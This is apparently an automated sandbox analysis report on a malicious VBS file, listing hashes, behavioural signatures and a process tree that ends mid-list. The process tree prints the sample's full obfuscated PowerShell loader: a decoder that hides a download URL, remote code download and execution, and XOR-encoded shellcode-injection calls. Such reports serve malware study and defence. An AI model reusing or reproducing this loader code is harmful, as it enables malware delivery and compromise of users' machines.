bd90a06957f3a1da775997eb1f01a43a59bb32053e4369985cb21a1ce17bdc0a

Analysis

max time kernel
150s
max time network
126s
platform
windows7_x64
resource
win7-20231025-en
resource tags

arch:x64arch:x86image:win7-20231025-enlocale:en-usos:windows7-x64system
submitted
24/11/2023, 07:27

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

D0C1813.IMG.vbs
Size

10KB
MD5

b42523e0fe75c29b6bfe6e2d1c310e10
SHA1

4e46f1e36862339aa6cfa6366e909e25a906144b
SHA256

878602064b965c25e531014f51ad0653731f9c1ab19ab05c2b2619d9500e7241
SHA512

d04ef1ea590ec002d6d4b6ad0230e79329f7b934e9b980e35828704fa2d469a5b8b136d7ac98b1e02c5ebd78dfe4af2df31aeebb980d396672d1c2658c222ec3
SSDEEP

192:4+wN//gYnrFYHaos+m2NaWuHKthC/vNofZEhtZIAd9LGKKANFmwoJKKRI/rGEaS:4+wN//bn7CGqWdoeZI0KA7mwoJKCUyS

Score

8^/10

Malware Config

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
3	2696	Powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2696	Powershell.exe
1192	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2696	Powershell.exe
Token: SeDebugPrivilege	1192	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2428 wrote to memory of 2696	2428	WScript.exe	28
PID 2428 wrote to memory of 2696	2428	WScript.exe	28
PID 2428 wrote to memory of 2696	2428	WScript.exe	28
PID 2428 wrote to memory of 2696	2428	WScript.exe	28
PID 2696 wrote to memory of 1192	2696	Powershell.exe	30
PID 2696 wrote to memory of 1192	2696	Powershell.exe	30
PID 2696 wrote to memory of 1192	2696	Powershell.exe	30
PID 2696 wrote to memory of 1192	2696	Powershell.exe	30
PID 1192 wrote to memory of 2712	1192	powershell.exe	31
PID 1192 wrote to memory of 2712	1192	powershell.exe	31
PID 1192 wrote to memory of 2712	1192	powershell.exe	31
PID 1192 wrote to memory of 2712	1192	powershell.exe	31
PID 1192 wrote to memory of 2568	1192	powershell.exe	32
PID 1192 wrote to memory of 2568	1192	powershell.exe	32
PID 1192 wrote to memory of 2568	1192	powershell.exe	32
PID 1192 wrote to memory of 2568	1192	powershell.exe	32
PID 1192 wrote to memory of 2628	1192	powershell.exe	33
PID 1192 wrote to memory of 2628	1192	powershell.exe	33
PID 1192 wrote to memory of 2628	1192	powershell.exe	33
PID 1192 wrote to memory of 2628	1192	powershell.exe	33
PID 1192 wrote to memory of 2512	1192	powershell.exe	34
PID 1192 wrote to memory of 2512	1192	powershell.exe	34
PID 1192 wrote to memory of 2512	1192	powershell.exe	34
PID 1192 wrote to memory of 2512	1192	powershell.exe	34
PID 1192 wrote to memory of 2528	1192	powershell.exe	35
PID 1192 wrote to memory of 2528	1192	powershell.exe	35
PID 1192 wrote to memory of 2528	1192	powershell.exe	35
PID 1192 wrote to memory of 2528	1192	powershell.exe	35
PID 1192 wrote to memory of 2544	1192	powershell.exe	36
PID 1192 wrote to memory of 2544	1192	powershell.exe	36
PID 1192 wrote to memory of 2544	1192	powershell.exe	36
PID 1192 wrote to memory of 2544	1192	powershell.exe	36
PID 1192 wrote to memory of 2588	1192	powershell.exe	37
PID 1192 wrote to memory of 2588	1192	powershell.exe	37
PID 1192 wrote to memory of 2588	1192	powershell.exe	37
PID 1192 wrote to memory of 2588	1192	powershell.exe	37
PID 1192 wrote to memory of 3036	1192	powershell.exe	38
PID 1192 wrote to memory of 3036	1192	powershell.exe	38
PID 1192 wrote to memory of 3036	1192	powershell.exe	38
PID 1192 wrote to memory of 3036	1192	powershell.exe	38
PID 1192 wrote to memory of 2032	1192	powershell.exe	39
PID 1192 wrote to memory of 2032	1192	powershell.exe	39
PID 1192 wrote to memory of 2032	1192	powershell.exe	39
PID 1192 wrote to memory of 2032	1192	powershell.exe	39
PID 1192 wrote to memory of 2564	1192	powershell.exe	40
PID 1192 wrote to memory of 2564	1192	powershell.exe	40
PID 1192 wrote to memory of 2564	1192	powershell.exe	40
PID 1192 wrote to memory of 2564	1192	powershell.exe	40
PID 1192 wrote to memory of 3048	1192	powershell.exe	41
PID 1192 wrote to memory of 3048	1192	powershell.exe	41
PID 1192 wrote to memory of 3048	1192	powershell.exe	41
PID 1192 wrote to memory of 3048	1192	powershell.exe	41
PID 1192 wrote to memory of 2516	1192	powershell.exe	42
PID 1192 wrote to memory of 2516	1192	powershell.exe	42
PID 1192 wrote to memory of 2516	1192	powershell.exe	42
PID 1192 wrote to memory of 2516	1192	powershell.exe	42
PID 1192 wrote to memory of 1952	1192	powershell.exe	43
PID 1192 wrote to memory of 1952	1192	powershell.exe	43
PID 1192 wrote to memory of 1952	1192	powershell.exe	43
PID 1192 wrote to memory of 1952	1192	powershell.exe	43
PID 1192 wrote to memory of 992	1192	powershell.exe	44
PID 1192 wrote to memory of 992	1192	powershell.exe	44
PID 1192 wrote to memory of 992	1192	powershell.exe	44
PID 1192 wrote to memory of 992	1192	powershell.exe	44

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\D0C1813.IMG.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:2428
- C:\Windows\syswow64\windowsPowershell\v1.0\Powershell.exe
  "C:\Windows\syswow64\windowsPowershell\v1.0\Powershell.exe" "Function Skyldsprgsmaalet9 ([String]$Forbryderalbummet){$sumaks=5;For($Paaflge=4; $Paaflge -lt $Forbryderalbummet.Length-1; $Paaflge+=$sumaks){$defies = 'su'+'bstring';$Goala=$Goala+$Forbryderalbummet.$defies.Invoke( $Paaflge, 1)};$Goala;}$postulancy=Skyldsprgsmaalet9 'beduhProttBraktShirpHyst:Data/Epim/Unacw Nedw ChiwHarm.TavebBegrrAntaa SyglAceto Ges-JuleaVrvlsOveriOwenaSkat.diskc UntotranmThor/ BogLVindIhertVTorsE Ste_brea/FolkwTalepBedu-GgegaVaredCyanm Cofi SownThal/KrafcDurusSandsetel/VegecIndkoPoeslBilyoSkumrSpexsSpad/ PolsAstruSeminFiskrExcliSpecsalteeTube/AlleAFlawfTrojfMiseaBezelHubmdnichspenasExtreRekllStors ShtkAktiaSpejb boneNattrSejr.IncuaBytecNattaSpel ';$Goala01=Skyldsprgsmaalet9 'bacuisupeeDeckxLivs ';$Goala00=Skyldsprgsmaalet9 'Verd$ RegSAdenkOrphyHomolIntedMetasDeodp Tykranveg SaksbogtmBarbaAdinaDagglNataeUndetwave Sri=Rumk Vedb(PhytN RedeLignwBurr-joseODecib BacjOrgaeSankcGtestDril CongNTeleeNonatDriv.TrniWAvere ZecbForrCArgylCyniiGrumeLedgnSupptdest) Gip. ChaD zunoMagnwBaffnbehelBlgeoPremaLserdLambSTailtFloorHoftiUpswn GamgPapi(Stam$ LavpPyraoMilrsSegot SmouPixelBinyaOpganHaidcTurbyNypr)Sene ';& ($Goala01) (Skyldsprgsmaalet9 'Upaa$SpilVForpiPrinndehytRegreKursrBesttDirkiSamalStudbDisluEnrod SaldHilaeUnconTreee Sta2Maal1livs2 San2Elok= Dis$FrigeRepun Blevmaha:musiaDonnpStoppBrocdPomeaweritLudoastil ') ;$Vintertilbuddene2122=$Vintertilbuddene2122+'\otilie.Rin';& ($Goala01) (Skyldsprgsmaalet9 'Orka$FotoNFinayUntihUriceUnded occsflueyKorrsUncitTampe KilmTenoeAntitNonm=Tryl-MikenPelaoDifftNark(PlatTOffieBemasPriotTher-reskPKopaaTeodtPolyhFleg Daan$ShipVInteiUtern UnitReveeBogerObelt ChuiLopplsndebAnfguPorgdPland FanePalon HipeBill2Undo1Bilo2 Dop2Kald)Long ') ;if ($Nyhedsystemet) {while ($Skyldsprgsmaalet -eq $Goala3) {. ($Goala01) $Goala00;. ($Goala01) (Skyldsprgsmaalet9 'YfriSSnustShopaNonrrUndet Fen-leucS BuslPriveMisfeBabypAnth Swit5Chea ');}. ($Goala01) (Skyldsprgsmaalet9 'KompS CabeNesotsvam-OutfCoffeoPrecn FlatHewseRepenBedetNett Diac$PineVGirliEgernFarstOsteeKasirantitHjrniDiktlOvarbDesiuMeridSubsdverne HavnUngse Fis2Node1Data2Lavt2Comb Sags$ZebuSSundk StoyEftelFremdomgnsUranpAmairBasag PresBollmJehoaMultaAballYokeeOksetEqua ');}& ($Goala01) (Skyldsprgsmaalet9 'Fris$TilbS majkTrany MetlSubsdOpers KonpGardrmauvgBagssFootmWavia VidaIntolIntoeHalatEter Unde=Derm idenGBeskeKonftAnne-LydtCUndeoGelanarbet BybeAksgnNonet Tom Pun$SoliVDeatiSeminhomet SjoeprelrKlaptCirkiCoralmullb UdsuSesqdStudd GuseBajenOphoeKrab2Ambr1Obse2Hist2Elku ');. ($Goala01) (Skyldsprgsmaalet9 'Anna$ FusOAgnuuDonntOstecDdsarKalkoForupStamp SageRaakrBund Rimn=Manv Pigt[MuttSHighyLeves femtAddieProemMeso.SamlC KonoGenbnTilkvForheAffrrFlostErgo]Data:kick:DuckFDuchrbrieotensmSgesBKenaaVidosPoineEndo6Jael4headSMagit ResrSuboiMermnrygeg Tra( Sta$StraSBytnkSpleyAbstlzeppdMisvsLivspEgonr PhogKnsasStrimWarea PolaAfsildiaseFaretnont)Lage ');. ($Goala01) (Skyldsprgsmaalet9 'bark$SkrmGSwitohypoaSatulUranaAgro2Coro orse=Arbe Vibe[AutoSDeviy ForsPrivtStypeHarmmUndl.CarbT CoueFourxIonotDrmm.SociEMiljnRepecTredoEksodEquaiGoosnAnsegTolv]Unst: Und:UnelAUdtrScommCPansIAlloIUndo.TibeG SuleCarptCodeS ScutpreerCholi KrenUdspg Clo(Over$ SleOvideuIntetKokscOverrafguoHypopKennp PiseFrisrhjta)Univ ');& ($Goala01) (Skyldsprgsmaalet9 'Spyt$ eleUSubsrUndeoYucclHypoiCaprgLrebeFascsTilb= Mas$VerdGYnkeoBiblaFusslTronamuti2 Ved.VisusCryouStarb EnesTrnitFormrAigliDgnknbrokgrend(unli2Quir8Unan5Yaud3cine3Trot5Keri,fang8Impa9Betj0 Bin9Ribs) Hjl ');powershell $Uroliges;"
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2696
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "Function Romaskine02([String]$Nuns152) { $Staalvrks = [System.Byte[]]::CreateInstance([System.Byte],$Nuns152.Length / 2) $Smrgaasbordenegnorances137 = (cmd /c 'echo 16') For($Smrgaasbordene=0; $Smrgaasbordene -lt $Nuns152.Length; $Smrgaasbordene+=2){ $Staalvrks[$Smrgaasbordene/2] = [convert]::ToByte($Nuns152.Substring($Smrgaasbordene, 2), $Smrgaasbordenegnorances137) $procommercial = 'set /a ' + $Staalvrks[$Smrgaasbordene/2] + '^^' + 162 $Smrgaasbordenegnorances1372 = (cmd /c $procommercial) $Staalvrks[$Smrgaasbordene/2] = [convert]::ToByte($Smrgaasbordenegnorances1372) } [String][System.Text.Encoding]::ASCII.GetString($Staalvrks) } $Minier1850=Romaskine02 'F1DBD1D6C7CF8CC6CECE' $Minier1851=Romaskine02 'EFCBC1D0CDD1CDC4D68CF5CBCC91908CF7CCD1C3C4C7ECC3D6CBD4C7EFC7D6CACDC6D1' $Minier1852=Romaskine02 'E5C7D6F2D0CDC1E3C6C6D0C7D1D1' $Minier1853=Romaskine02 'F1DBD1D6C7CF8CF0D7CCD6CBCFC78CEBCCD6C7D0CDD2F1C7D0D4CBC1C7D18CEAC3CCC6CEC7F0C7C4' $Minier1854=Romaskine02 'D1D6D0CBCCC5' $Minier1855=Romaskine02 'E5C7D6EFCDC6D7CEC7EAC3CCC6CEC7' $Minier1856=Romaskine02 'F0F6F1D2C7C1CBC3CEECC3CFC78E82EACBC6C7E0DBF1CBC58E82F2D7C0CECBC1' $Minier1857=Romaskine02 'F0D7CCD6CBCFC78E82EFC3CCC3C5C7C6' $Minier1858=Romaskine02 'F0C7C4CEC7C1D6C7C6E6C7CEC7C5C3D6C7' $Minier1859=Romaskine02 'EBCCEFC7CFCDD0DBEFCDC6D7CEC7' $Forbryderspirer0=Romaskine02 'EFDBE6C7CEC7C5C3D6C7F6DBD2C7' $Forbryderspirer1=Romaskine02 'E1CEC3D1D18E82F2D7C0CECBC18E82F1C7C3CEC7C68E82E3CCD1CBE1CEC3D1D18E82E3D7D6CDE1CEC3D1D1' $Forbryderspirer2=Romaskine02 'EBCCD4CDC9C7' $Forbryderspirer3=Romaskine02 'F2D7C0CECBC18E82EACBC6C7E0DBF1CBC58E82ECC7D5F1CECDD68E82F4CBD0D6D7C3CE' $Forbryderspirer4=Romaskine02 'F4CBD0D6D7C3CEE3CECECDC1' $Forbryderspirer5=Romaskine02 'CCD6C6CECE' $Forbryderspirer6=Romaskine02 'ECD6F2D0CDD6C7C1D6F4CBD0D6D7C3CEEFC7CFCDD0DB' $Forbryderspirer7=Romaskine02 'EBE7FA' $Forbryderspirer8=Romaskine02 'FE' $Leku=Romaskine02 'E1C3CECEF5CBCCC6CDD5F2D0CDC1E3' function Romaskine05 ($Calamints215, $Devalueringstidspunktets) { $Typegodkendte0 =Romaskine02 '86F1DBCEC4CBC6C7D0829F828AF9E3D2D2E6CDCFC3CBCCFF9898E1D7D0D0C7CCD6E6CDCFC3CBCC8CE5C7D6E3D1D1C7CFC0CECBC7D18A8B82DE82F5CAC7D0C78FEDC0C8C7C1D682D98286FD8CE5CECDC0C3CEE3D1D1C7CFC0CEDBE1C3C1CAC7828FE3CCC68286FD8CEECDC1C3D6CBCDCC8CF1D2CECBD68A86E4CDD0C0D0DBC6C7D0D1D2CBD0C7D09A8BF98F93FF8CE7D3D7C3CED18A86EFCBCCCBC7D0939A97928B82DF8B8CE5C7D6F6DBD2C78A86EFCBCCCBC7D0939A97938B' &($Forbryderspirer7) $Typegodkendte0 $Typegodkendte5 = Romaskine02 '86ECC3D2CAD6CADBCEC7CCC7829F8286F1DBCEC4CBC6C7D08CE5C7D6EFC7D6CACDC68A86EFCBCCCBC7D0939A97908E82F9F6DBD2C7F9FFFF82E28A86EFCBCCCBC7D0939A97918E8286EFCBCCCBC7D0939A97968B8B' &($Forbryderspirer7) $Typegodkendte5 $Typegodkendte1 = Romaskine02 'D0C7D6D7D0CC8286ECC3D2CAD6CADBCEC7CCC78CEBCCD4CDC9C78A86CCD7CECE8E82E28AF9F1DBD1D6C7CF8CF0D7CCD6CBCFC78CEBCCD6C7D0CDD2F1C7D0D4CBC1C7D18CEAC3CCC6CEC7F0C7C4FF8AECC7D58FEDC0C8C7C1D682F1DBD1D6C7CF8CF0D7CCD6CBCFC78CEBCCD6C7D0CDD2F1C7D0D4CBC1C7D18CEAC3CCC6CEC7F0C7C48A8AECC7D58FEDC0C8C7C1D682EBCCD6F2D6D08B8E828A86F1DBCEC4CBC6C7D08CE5C7D6EFC7D6CACDC68A86EFCBCCCBC7D0939A97978B8B8CEBCCD4CDC9C78A86CCD7CECE8E82E28A86E1C3CEC3CFCBCCD6D19093978B8B8B8B8E8286E6C7D4C3CED7C7D0CBCCC5D1D6CBC6D1D2D7CCC9D6C7D6D18B8B' &($Forbryderspirer7) $Typegodkendte1 } function Romaskine04 { Param ([Parameter(Position = 0)] [Type[]] $Etpartisystemers,[Parameter(Position = 1)] [Type] $Boblehuse = [Void]) $Typegodkendte2 = Romaskine02 '86E4CBCECFC4CDD0C7D1D6CBCECECBCCC5C7D0829F82F9E3D2D2E6CDCFC3CBCCFF9898E1D7D0D0C7CCD6E6CDCFC3CBCC8CE6C7C4CBCCC7E6DBCCC3CFCBC1E3D1D1C7CFC0CEDB8A8AECC7D58FEDC0C8C7C1D682F1DBD1D6C7CF8CF0C7C4CEC7C1D6CBCDCC8CE3D1D1C7CFC0CEDBECC3CFC78A86EFCBCCCBC7D0939A979A8B8B8E82F9F1DBD1D6C7CF8CF0C7C4CEC7C1D6CBCDCC8CE7CFCBD68CE3D1D1C7CFC0CEDBE0D7CBCEC6C7D0E3C1C1C7D1D1FF9898F0D7CC8B8CE6C7C4CBCCC7E6DBCCC3CFCBC1EFCDC6D7CEC78A86EFCBCCCBC7D0939A979B8E8286C4C3CED1C78B8CE6C7C4CBCCC7F6DBD2C78A86E4CDD0C0D0DBC6C7D0D1D2CBD0C7D0928E8286E4CDD0C0D0DBC6C7D0D1D2CBD0C7D0938E82F9F1DBD1D6C7CF8CEFD7CED6CBC1C3D1D6E6C7CEC7C5C3D6C7FF8B' &($Forbryderspirer7) $Typegodkendte2 $Typegodkendte3 = Romaskine02 '86E4CBCECFC4CDD0C7D1D6CBCECECBCCC5C7D08CE6C7C4CBCCC7E1CDCCD1D6D0D7C1D6CDD08A86EFCBCCCBC7D0939A97948E82F9F1DBD1D6C7CF8CF0C7C4CEC7C1D6CBCDCC8CE1C3CECECBCCC5E1CDCCD4C7CCD6CBCDCCD1FF9898F1D6C3CCC6C3D0C68E8286E7D6D2C3D0D6CBD1DBD1D6C7CFC7D0D18B8CF1C7D6EBCFD2CEC7CFC7CCD6C3D6CBCDCCE4CEC3C5D18A86EFCBCCCBC7D0939A97958B' &($Forbryderspirer7) $Typegodkendte3 $Typegodkendte4 = Romaskine02 '86E4CBCECFC4CDD0C7D1D6CBCECECBCCC5C7D08CE6C7C4CBCCC7EFC7D6CACDC68A86E4CDD0C0D0DBC6C7D0D1D2CBD0C7D0908E8286E4CDD0C0D0DBC6C7D0D1D2CBD0C7D0918E8286E0CDC0CEC7CAD7D1C78E8286E7D6D2C3D0D6CBD1DBD1D6C7CFC7D0D18B8CF1C7D6EBCFD2CEC7CFC7CCD6C3D6CBCDCCE4CEC3C5D18A86EFCBCCCBC7D0939A97958B' &($Forbryderspirer7) $Typegodkendte4 $Typegodkendte5 = Romaskine02 'D0C7D6D7D0CC8286E4CBCECFC4CDD0C7D1D6CBCECECBCCC5C7D08CE1D0C7C3D6C7F6DBD2C78A8B' &($Forbryderspirer7) $Typegodkendte5 } $Allokeringerne = Romaskine02 'C9C7D0CCC7CE9190' $Drikningens=Romaskine02 'F7F1E7F09190' $Romaskine03 = Romaskine02 'E5C7D6E1CDCCD1CDCEC7F5CBCCC6CDD5' $Romaskine00=Romaskine02 'F1CACDD5F5CBCCC6CDD5' $Romaskine01 = Romaskine02 '86EDC9D1C7C0D0DBD1D6D1829F82F9F1DBD1D6C7CF8CF0D7CCD6CBCFC78CEBCCD6C7D0CDD2F1C7D0D4CBC1C7D18CEFC3D0D1CAC3CEFF9898E5C7D6E6C7CEC7C5C3D6C7E4CDD0E4D7CCC1D6CBCDCCF2CDCBCCD6C7D08A8AF0CDCFC3D1C9CBCCC792978286E6D0CBC9CCCBCCC5C7CCD18286F0CDCFC3D1C9CBCCC792928B8E828AF0CDCFC3D1C9CBCCC7929682E28AF9EBCCD6F2D6D0FF8E82F9F7EBCCD69190FF8B828AF9EBCCD6F2D6D0FF8B8B8B' &($Forbryderspirer7) $Romaskine01 $Romaskine02 = Romaskine02 '86ECC7C1D6CDC1C3CEDBC1CBCCC79391829F82F9F1DBD1D6C7CF8CF0D7CCD6CBCFC78CEBCCD6C7D0CDD2F1C7D0D4CBC1C7D18CEFC3D0D1CAC3CEFF9898E5C7D6E6C7CEC7C5C3D6C7E4CDD0E4D7CCC1D6CBCDCCF2CDCBCCD6C7D08A8AF0CDCFC3D1C9CBCCC792978286E3CECECDC9C7D0CBCCC5C7D0CCC78286F0CDCFC3D1C9CBCCC792918B8E828AF0CDCFC3D1C9CBCCC7929682E28AF9EBCCD6F2D6D0FF8B828AF9EBCCD6F2D6D0FF8B8B8B' &($Forbryderspirer7) $Romaskine02 $Typegodkendte7 = Romaskine02 '86F6CAD0CDC6C6C7CC829F8286ECC7C1D6CDC1C3CEDBC1CBCCC793918CEBCCD4CDC9C78A928B' &($Forbryderspirer7) $Typegodkendte7 $Typegodkendte7 = Romaskine02 '86EDC9D1C7C0D0DBD1D6D18CEBCCD4CDC9C78A86F6CAD0CDC6C6C7CC8E82928B' &($Forbryderspirer7) $Typegodkendte7 $Typegodkendte6 = Romaskine02 '86E0C3CCD6829F82F9F1DBD1D6C7CF8CF0D7CCD6CBCFC78CEBCCD6C7D0CDD2F1C7D0D4CBC1C7D18CEFC3D0D1CAC3CEFF9898E5C7D6E6C7CEC7C5C3D6C7E4CDD0E4D7CCC1D6CBCDCCF2CDCBCCD6C7D08A8AF0CDCFC3D1C9CBCCC792978286E3CECECDC9C7D0CBCCC5C7D0CCC78286E4CDD0C0D0DBC6C7D0D1D2CBD0C7D0968B8E828AF0CDCFC3D1C9CBCCC7929682E28AF9EBCCD6F2D6D0FF8E82F9F7EBCCD69190FF8E82F9F7EBCCD69190FF8E82F9F7EBCCD69190FF8B828AF9EBCCD6F2D6D0FF8B8B8B' &($Forbryderspirer7) $Typegodkendte6 $Pingviner = Romaskine05 $Forbryderspirer5 $Forbryderspirer6 $Typegodkendte7 = Romaskine02 '86EDD6D6C7CDC5D6DBD4C7CCC6C7C6C7CE91829F8286E0C3CCD68CEBCCD4CDC9C78AF9EBCCD6F2D6D0FF9898F8C7D0CD8E829497908E8292DA919292928E8292DA96928B' &($Forbryderspirer7) $Typegodkendte7 $Typegodkendte8 = Romaskine02 '86E4C3D0D1C7D0C7CCC6C7D1829F8286E0C3CCD68CEBCCD4CDC9C78AF9EBCCD6F2D6D0FF9898F8C7D0CD8E829792959A949192968E8292DA919292928E8292DA968B' &($Forbryderspirer7) $Typegodkendte8 .($Forbryderspirer7) (Romaskine02 '86EDD6D6C7CDC5D6DBD4C7CCC6C7C6C7CE909F86C7CCD498C3D2D2C6C3D6C3') $Otteogtyvendedel2=$Otteogtyvendedel2+'\otilie.Rin' .($Forbryderspirer7) (Romaskine02 '86F5C7C6C6C7D0829F82E5C7D68FE1CDCCD6C7CCD68286EDD6D6C7CDC5D6DBD4C7CCC6C7C6C7CE90') .($Forbryderspirer7) (Romaskine02 '86EDD7D6C1D0CDD2D2C7D0829F82F9F1DBD1D6C7CF8CE1CDCCD4C7D0D6FF9898E4D0CDCFE0C3D1C79496F1D6D0CBCCC58A86F5C7C6C6C7D08B') $Wedder0 = Romaskine02 'F9F1DBD1D6C7CF8CF0D7CCD6CBCFC78CEBCCD6C7D0CDD2F1C7D0D4CBC1C7D18CEFC3D0D1CAC3CEFF9898E1CDD2DB8A86EDD7D6C1D0CDD2D2C7D08E82928E828286EDD6D6C7CDC5D6DBD4C7CCC6C7C6C7CE918E829497908B' &($Forbryderspirer7) $Wedder0 $Typegodkendte9 = Romaskine02 '86E0C3C9C9C7CCC0C3D0D6C7CCD19F909A979191978F949790' &($Forbryderspirer7) $Typegodkendte9 $Wedder1 = Romaskine02 'F9F1DBD1D6C7CF8CF0D7CCD6CBCFC78CEBCCD6C7D0CDD2F1C7D0D4CBC1C7D18CEFC3D0D1CAC3CEFF9898E1CDD2DB8A86EDD7D6C1D0CDD2D2C7D08E829497908E8286E4C3D0D1C7D0C7CCC6C7D18E8286E0C3C9C9C7CCC0C3D0D6C7CCD18B' &($Forbryderspirer7) $Wedder1 $Wedder2 = Romaskine02 '86EEDBD1D0C7C9CEC3CFC7CC829F82F9F1DBD1D6C7CF8CF0D7CCD6CBCFC78CEBCCD6C7D0CDD2F1C7D0D4CBC1C7D18CEFC3D0D1CAC3CEFF9898E5C7D6E6C7CEC7C5C3D6C7E4CDD0E4D7CCC1D6CBCDCCF2CDCBCCD6C7D08A8AF0CDCFC3D1C9CBCCC792978286E6D0CBC9CCCBCCC5C7CCD18286EEC7C9D78B8E828AF0CDCFC3D1C9CBCCC7929682E28AF9EBCCD6F2D6D0FF8E82F9EBCCD6F2D6D0FF8E82F9EBCCD6F2D6D0FF8E82F9EBCCD6F2D6D0FF8E82F9EBCCD6F2D6D0FF8B828AF9EBCCD6F2D6D0FF8B8B8B' &($Forbryderspirer7) $Wedder2 $Wedder3 = Romaskine02 '86EEDBD1D0C7C9CEC3CFC7CC8CEBCCD4CDC9C78A86EDD6D6C7CDC5D6DBD4C7CCC6C7C6C7CE918E86E4C3D0D1C7D0C7CCC6C7D18E86F2CBCCC5D4CBCCC7D08E928E928B' &($Forbryderspirer7) $Wedder3"
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1192
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "echo 16"
      4⤵
      PID:2712
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 241^^162"
      4⤵
      PID:2568
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 219^^162"
      4⤵
      PID:2628
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 209^^162"
      4⤵
      PID:2512
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 214^^162"
      4⤵
      PID:2528
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 199^^162"
      4⤵
      PID:2544
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 207^^162"
      4⤵
      PID:2588
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 140^^162"
      4⤵
      PID:3036
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 198^^162"
      4⤵
      PID:2032
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 206^^162"
      4⤵
      PID:2564
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 206^^162"
      4⤵
      PID:3048
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "echo 16"
      4⤵
      PID:2516
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 239^^162"
      4⤵
      PID:1952
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 203^^162"
      4⤵
      PID:992
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 193^^162"
      4⤵
      PID:2900
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 208^^162"
      4⤵
      PID:2692
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 205^^162"
      4⤵
      PID:2924
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 209^^162"
      4⤵
      PID:2876
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 205^^162"
      4⤵
      PID:2872
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 196^^162"
      4⤵
      PID:2920
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 214^^162"
      4⤵
      PID:2892
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 140^^162"
      4⤵
      PID:3064
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 245^^162"
      4⤵
      PID:2808
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 203^^162"
      4⤵
      PID:1276
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 204^^162"
      4⤵
      PID:1664
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 145^^162"
      4⤵
      PID:1712
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 144^^162"
      4⤵
      PID:2400
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 140^^162"
      4⤵
      PID:876
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 247^^162"
      4⤵
      PID:996
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 204^^162"
      4⤵
      PID:2424
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 209^^162"
      4⤵
      PID:1912
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 195^^162"
      4⤵
      PID:2732
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 196^^162"
      4⤵
      PID:1780
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 199^^162"
      4⤵
      PID:1992
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 236^^162"
      4⤵
      PID:1256
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 195^^162"
      4⤵
      PID:2500
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 214^^162"
      4⤵
      PID:2724
  - - C:\Windows\SysWOW64\cmd.exe
